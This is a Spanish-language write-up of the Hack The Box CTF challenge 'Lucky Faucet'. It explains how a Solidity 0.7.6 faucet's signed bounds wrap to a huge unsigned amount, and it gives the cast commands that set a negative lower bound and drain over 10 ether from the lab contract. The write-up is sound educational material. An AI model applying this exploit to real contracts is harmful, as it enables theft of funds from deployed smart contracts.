Lucky Faucet
5 minutos de lectura
Se nos proporciona un archivo de Solidity llamado LuckyFaucet.sol
:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
Además, tenemos este Setup.sol
, que es común en los retos de Solidity:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
Aquí vemos que la instancia remota ha implementado un Smart Contract llamado LuckyFaucet
con 500 ether
, y resolveremos el reto si el Smart Contract tiene menos de 490 ether
.
Versión de Solidity
Un tema a considerar, en comparación con Russian Roulette, es que estos Smart Contracts usan una versión de Solidity específica, que es 0.7.6. En el resto de los retos, estaban usando versiones actualizadas. Obviamente, esto es clave para resolver el reto.
De hecho, esta versión tiene algunos problemas de seguridad y no lanza ninguna excepción si las operaciones con números enteros no funcionan como se esperaba. Por ejemplo, no le importa que ocurra un integer underflow/overflow (más información en www.halborn.com).
Explotación
Obsérvese que el Smart Contract nos enviará saldo con sendRandomETH
:
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
Pero recibiremos entre 50_000_000 wei
y 100_000_000 wei
. Estos valores, convertidos a ether
son insignificantes (véase eth-converter.com), y tenemos que tomar al menos 10 ether
del Smart Contract, que es 10_000_000_000_000_000_000 wei
.
Pero podemos cambiar los límites superior e inferior:
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
Obsérvese que los tipos de valor son int64
, entonces están considerando números enteros con signo. Como resultado, podemos usar números negativos. Per, sendRandomETH
realiza una conversión a uint64
, que es sin signo.
Como resultado, debido al hecho de que los números enteros negativos, cuando se interpretan como valores sin signo, tienen el bit más significativo en 1
, podemos ingresar un valor negativo en el límite inferior y por lo tanto amountToSend
será enorme.
Por ejemplo, 0xffffffffffffffff
es -1
como un entero sin signo (formato hexadecimal). En decimal, -1
es 18446744073709551615
, que corresponde a 18.44... ether
. Esto es suficiente para resolver el reto. Por lo tanto, estableceremos el límite inferior a -100_000_000 wei
, para que el entero que se convierta en uint64
sea negativo.
En primer lugar, tomamos los parámetros de conexión:
$ nc 94.237.62.99 32310
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0x602db1859c61350ed8dbc24e52c9a078d59a381921e3197a40765991a80424e0
Address : 0x92D5203299F8a4A7fF602eD38B4F3b714D11e40A
Target contract : 0x4040c02cf70d0F5b82C0bf217F48b97050cEC397
Setup contract : 0xCBAeC91B55c8CDEe3D6c6f532D061A25b5A10d8A
^C
$ PRIVATE_KEY='0x602db1859c61350ed8dbc24e52c9a078d59a381921e3197a40765991a80424e0'
$ ADDRESS_TARGET='0x4040c02cf70d0F5b82C0bf217F48b97050cEC397'
$ ADDRESS_SETUP='0xCBAeC91B55c8CDEe3D6c6f532D061A25b5A10d8A'
$ export ETH_RPC_URL='http://94.237.62.99:30189'
Ahora estamos listos para usar cast
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
Entonces, actualizamos el límite inferior y ponemos a -100000000
:
$ cast send --private-key $PRIVATE_KEY $ADDRESS_TARGET 'setBounds(int64, int64)' -- '-100000000' '100000000'
blockHash 0x8967f6cd7419c6928342ea7b89daf57fb9a7bd4ed65dbee112749e8e0a992544
blockNumber 2
contractAddress
cumulativeGasUsed 27147
effectiveGasPrice 3000000000
from 0x92D5203299F8a4A7fF602eD38B4F3b714D11e40A
gasUsed 27147
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xf39ee23b09692cb73f8c113a5d0e0b069d08d7888b72f3140c7d99a9200e1ada
transactionIndex 0
type 2
to 0x4040…c397
depositNonce null
Podemos verificar que ha cambiado:
$ cast call $ADDRESS_TARGET 'lowerBound() (int64)'
-100000000
Ahora estamos listos para usar sendRandomETH
:
$ cast balance --ether $ADDRESS_TARGET
500.000000000000000000
$ cast send $ADDRESS_TARGET 'sendRandomETH()' --private-key $PRIVATE_KEY
blockHash 0xb00d68ca8f507e4f52ac9dfe583d0da9e7b073bb5d57ee0fb665309c54bdf24f
blockNumber 3
contractAddress
cumulativeGasUsed 30463
effectiveGasPrice 3000000000
from 0x92D5203299F8a4A7fF602eD38B4F3b714D11e40A
gasUsed 30463
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x47c98d6906a29d1df1422a4b4c8628423173d793965f19949af7a4e074cdd02b
transactionIndex 0
type 2
to 0x4040…c397
depositNonce null
$ cast balance --ether $ADDRESS_TARGET
481.553255926586234658
Como se puede ver, hemos tomado más de 10 ether
del Smart Contract, por lo que hemos resuelto el reto:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
Flag
Y esta es la flag:
$ nc 94.237.62.99 32310
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}